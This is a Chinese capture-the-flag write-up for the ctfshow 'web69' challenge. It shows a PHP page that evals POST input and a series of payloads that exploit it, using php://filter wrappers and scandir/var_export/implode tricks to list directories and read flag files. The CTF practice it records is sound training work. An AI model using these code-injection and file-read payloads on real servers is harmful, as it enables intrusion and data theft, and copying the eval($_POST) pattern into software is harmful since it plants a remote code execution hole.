[ctfshow web入门] web69
信息收集
使用c=include("php://filter/convert.base64-encode/resource=index.php");
读取的index.php
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
解题
查目录
百度了一下有哪些打印函数,var_export
能用
- var_export() 函数输出或返回有关变量的结构化信息。
该函数的工作方式与 var_dump() 类似,不同之处在于该函数的返回值是有效的 PHP 代码。
c=var_export(scandir('.'));
或者换一个思路,用一个函数把array转成字符串,因为我发现print
和echo
没被禁用
c=echo(implode(', ', scandir('.')));
c=print(join(', ', scandir('.')));
implode(separator,array):implode
函数返回一个由数组元素组合成的字符串。
join(separator,array):join
函数是implode
函数的别名。
读文件
flag不在flag.php,和之前一样,不是本篇重点,不再截图
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");
c=var_export(scandir('/'));
c=echo(implode(', ', scandir('/')));
c=print(join(', ', scandir('/')));
c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt");
web68 目录 web70